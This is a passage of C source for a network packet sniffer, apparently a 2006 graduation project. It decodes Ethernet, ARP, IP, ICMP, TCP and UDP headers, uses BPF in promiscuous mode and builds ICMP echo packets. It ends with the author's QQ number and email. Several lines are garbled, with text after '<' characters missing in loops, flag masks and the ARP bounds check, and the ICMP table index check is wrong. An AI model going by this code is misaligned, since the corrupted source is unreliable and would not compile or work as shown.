}
if(j==len && len % 16!=0)
for(j=0;j<40-(len%16)*2.5;j++)
printf(" ");
printf(":");
for(j=i;j {
if( (buff[j]>=0x20)&&(buff[j]<=0x7e))
putchar(buff[j]);
else
printf(".");
}
printf("\n");
}
fflush(stdout);
}
void print_udp(struct udphdr *udp)
{
#ifdef _FAVOR_BSD_
printf("Protocol:UDP\n\n");
printf("Source Port:%5u\t Dest Port:%5u\n",
ntohs(udp->uh_sport),ntohs(udp->uh_dport));
printf("Length:%5u\tChecksum%5u\n",ntohs(udp->uh_ulen),ntohs(udp->uh_sum));
#else
printf("Protocol:UDP\n\n");
printf("Source Port:%5u\t Dest Port:%5u\n",
ntohs(udp->source),ntohs(udp->dest));
printf("Length:%5u\tChecksum%5u\n",ntohs(udp->len),ntohs(udp->check));
#endif
}
char *tcp_ftoa(int flag)
{
static int f[]={'U','A','P','R','S','F'};
static char str[17];
u_int mask=1<<5;
int i;
for(i=0;i<6;i++)
{
if( ((flag< str[i]=f[i];
else
str[i]='0';
}
str[i]='\0';
return str;
}
void print_tcp(struct tcphdr *tcp)
{
#ifndef __linux
printf("Protocol:TCP\n\n");
printf("Source Port:%5u\t Destination Port %5u\n",
ntohs(tcp->th_sport),ntohs(tcp->th_dport));
printf("Sequence Number:%10lu\n",(u_long)ntohl(tcp->th_seq));
printf("Acknowledgement Number :%10lu\n",
(u_long)ntohl(tcp->th_ack));
printf("Do: %2u\t Reserved F:%6s\t Window size:%5u\n",
tcp->th_off,tcp_ftoa(tcp->th_flag),ntohs(tcp->th_win));
printf("Checksum: %5u\t Urgent Pointer: %5u\t",ntohs(tcp->th_sum),ntohs(tcp->th_urp));
#else
printf("Protocol:TCP\n\n");
printf("Source Port:%5u\t Destination Port %5u\n",
ntohs(tcp->source),ntohs(tcp->dest));
printf("Sequence Number:%10lu\n",(u_long)ntohl(tcp->seq));
printf("Acknowledgement Number :%10lu\n",
(u_long)ntohl(tcp->ack_seq));
printf("Do: %2u\t Window size:%5u\n",
tcp->doff,ntohs(tcp->window));
printf("Checksum: %5u\t Urgent Pointer: %5u\t",ntohs(tcp->check),ntohs(tcp->urg_ptr));
#endif
}
void print_icmp(struct icmp *icmp)
{
static char *type_name[]={
"Echo Reply",
"Undefine",
"Undefine",
"Destination Unreachable",
"Source Quench",
"Redirect(changeroute)",
"Undefine",
"Undefine",
"Echo Request",
"Undefine",
"Undefine",
"Time Exceeded",
"Parameter Problem",
"Timestamp Request",
"Timestamp Reply",
"Infromation Reply",
"Address Mask Request",
"Address Mask Reply",
"Unknow",
};
int type=icmp->icmp_type;
if(type<0 || type>10)
type=19;
printf("Protocol: ICMP(%s)\n",type_name[type]);
printf("Type: %3u\t Code:%3u\t Checksum:%5u\n",
icmp->icmp_type,icmp->icmp_code,ntohs(icmp->icmp_cksum));
if( icmp->icmp_type==0 || icmp->icmp_type==8 )
{
printf("Identification: %5u\t Sequence Number: %5u \n",
ntohs(icmp->icmp_id),ntohs(icmp->icmp_seq));
printf("-------------------------------------------\n");
}
else if(icmp->icmp_type==3)
{
if(icmp->icmp_code==4)
{
printf("void:%5u\t Next MTU:%5u\n",
ntohs(icmp->icmp_pmvoid),ntohs(icmp->icmp_nextmtu));
printf("-------------------------------------------\n");
}else
{
printf("Unused:%10lu\n",(u_long)ntohl(icmp->icmp_void));
printf("-------------------------------------------\n");
}
}else if(icmp->icmp_type==5)
{
printf("Router IP Address:%15s\n",inet_ntoa(*(struct in_addr *)&(icmp->icmp_gwaddr)));
printf("-------------------------------------------\n");
}else if(icmp->icmp_type==11)
{
printf("Unused: %10lu\n",(u_long)ntohl(icmp->icmp_void));
printf("-------------------------------------------\n");
}
if( icmp->icmp_type==3 || icmp->icmp_type==5 || icmp->icmp_type==11 )
print_ip( (struct ip *)( ((char *)icmp)+8 ) );
}
char *ip_ttoa(int flag)
{
static int f[]={'1','1','1','D','T','R','C','X',};
static char str[17];
u_int mask=0x80;
int i;
for(i=0;i<8;i++)
{
if( ((flag< str[i]=f[i];
else
str[i]='0';
}
str[i]='\0';
return str;
}
char *ip_ftoa(int flag)
{
static int f[]={'R','D','M'};
static char str[17];
u_int mask=0x8000;
int i;
for(i=0;i<3;i++)
{
if( ((flag< str[i]=f[i];
else
str[i]='0';
}
str[i]='\0';
return str;
}
void print_ip(struct ip *ip)
{
printf("Protocol: IP\n");
printf("IV: %1u \t HL:%2u\t T: %8s\t Total Length:%10u\n ",
ip->ip_v,ip->ip_hl,ip_ttoa(ip->ip_tos),ntohs(ip->ip_len));
printf("Identifier: %5u\t FF:%3s\t FO:%5u\n",
ntohs(ip->ip_id),ip_ftoa(ntohs(ip->ip_off)),
ntohs(ip->ip_off)&IP_OFFMASK);
printf("TTL:%3u\t Pro:%3u\t Header Checksum:%5u\n",
ip->ip_ttl,ip->ip_p,ntohs(ip->ip_sum));
printf("Source IP Address: %15s\n",inet_ntoa(* (struct in_addr *)&(ip->ip_src) ) );
printf("Destination IP Address: %15s\n",inet_ntoa( *(struct in_addr *)&(ip->ip_dst )) );
}
void print_arp(struct ether_arp *arp)
{
static char *arp_operation[]={
"Undefine",
"(ARP Request)",
"(ARP REPLY)",
"(RARP Request)",
"(RARP Reply)",
};
int op=ntohs(arp->ea_hdr.ar_op);
if(op<=0 || 5 op=0;
printf("Protocol:ARP\n");
printf("Hard Type: %2u %-11s\n",ntohs(arp->ea_hdr.ar_hrd),
(ntohs(arp->ea_hdr.ar_hrd)==ARPHRD_ETHER)?"(Ethernet)":"Not Ether" );
printf("Protocol: 0x%04x %-9s\n",ntohs(arp->ea_hdr.ar_pro),
(ntohs(arp->ea_hdr.ar_pro==ETHERTYPE_IP))? "(IP)":"(NOT IP)");
printf("Hardlen :%3u \t AddrLen:%2u\t OP: %4d %16s\n",
arp->ea_hdr.ar_hln,arp->ea_hdr.ar_pln,ntohs(arp->ea_hdr.ar_op),
arp_operation[op]);
printf("Source MAX Address:%17s\n",mac_ntoa(arp->arp_sha));
printf("Source IP Address:%15s\n",inet_ntoa(*(struct in_addr *)&arp->arp_spa));
printf("Destination MAC Address: %17s\n",mac_ntoa(arp->arp_tha));
printf("Destination IP Address: %15s\n",inet_ntoa(*(struct in_addr *)&arp->arp_tpa));
}
void print_ethernet(struct ether_header *eth)
{
int type=ntohs(eth->ether_type);
if(type<=1500)
printf("IEEE 802.3 Ethernet Frame");
else
printf("Ethernet Fram:\n");
printf("Destination MAC Address:%17s\n\n",mac_ntoa(eth->ether_dhost));
printf("Source MAX Address:%15s\n\n",mac_ntoa(eth->ether_shost));
if(type<1500)
printf("Length: %5u\n\n",type);
else
printf("Ethernet Type: 0X%04x\n\n",type);
}
char *mac_ntoa(u_char *d)
{
static char str[50];
sprintf(str,"%02x:%02x:%02x:%02x:%02x:%02x",
d[0],d[1],d[2],d[3],d[4],d[5]);
return str;
}
#ifndef __linux
int open_buf(char *ifname)
{
char buf[256];
int bpfd;
struct ifreq ifr;
int i;
for(i=0;i<4;i++)
{
sprintf(buf,"/dev/bpf%d",i);
if( (bpfd=open(buf,O_RDWR,0))>0 )
goto bpf_ok;
}
fprintf(stderr,"cannot open BPF\n");
return -1;
bpf_ok: ;
strcpy(ifr.ifr_name,ifname);
if( ioctl(bpfd,BIOCSETIF,&ifr)<0 )
{
sprintf(buf,"ioctl(BIOCSETIF,'%S')",ifname);
perror(buf);
return -1;
}
fprintf(stderr,"BPF readfrom '%s'(%s)\n",ifr.ifr_name,buf);
if(ioctl(bpfd,BIOCPROMISC,NULL)<0)
{
perror("ioctl(BIOCPROMISC)");
return -1;
}
i=1;
if( ioctl(bpfd,BIOCIMMEDIATE,&i)<0 )
{
perror("ioctl(BIOCIMMEDIATE)");
return -1;
}
return bpfd;
}
#endif
void make_icmp8_packet( struct icmp *icmp,int len,int n )
{
memset( (char *)icmp,0,len );
gettimeofday((struct timeval *)(icmp->icmp_data),(struct timezone *)0);
icmp->icmp_type=ICMP_ECHO;
icmp->icmp_code=0;
icmp->icmp_id=0;
icmp->icmp_seq=n;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum((u_short *)icmp,len);
}
u_short checksum(u_short *data,int len)
{
u_long sum=0;
for(;len>1;len-=2)
{
sum+=*data++;
if(sum & 0x80000000)
sum=(sum & 0xffff)+(sum>>16);
}
if(len==1)
{
u_short i=0;
*(u_char *)(&i)=*(u_char *)data;
sum+=i;
}
while(sum>>16)
sum=(sum & 0xffff)+(sum>>16);
return(sum==0xffff)? sum: ~sum;
}
void tvsub(struct timeval *out ,struct timeval *in)
{
if((out->tv_usec-=in->tv_usec)<0)
{
out->tv_sec--;
out->tv_usec+=1000000;
}
out->tv_sec-=in->tv_sec;
}
为我毕业设计.
GMT:2006.10.20.AM:10:58
linuxcici
QQ:15348205
e-mail:woshiwo1985@21cn.com
(很多人又说这作品怎么怎么. 不明白某些人是怎么想.
很欢迎你的意见. 但请对你评论负责.注上你的名字)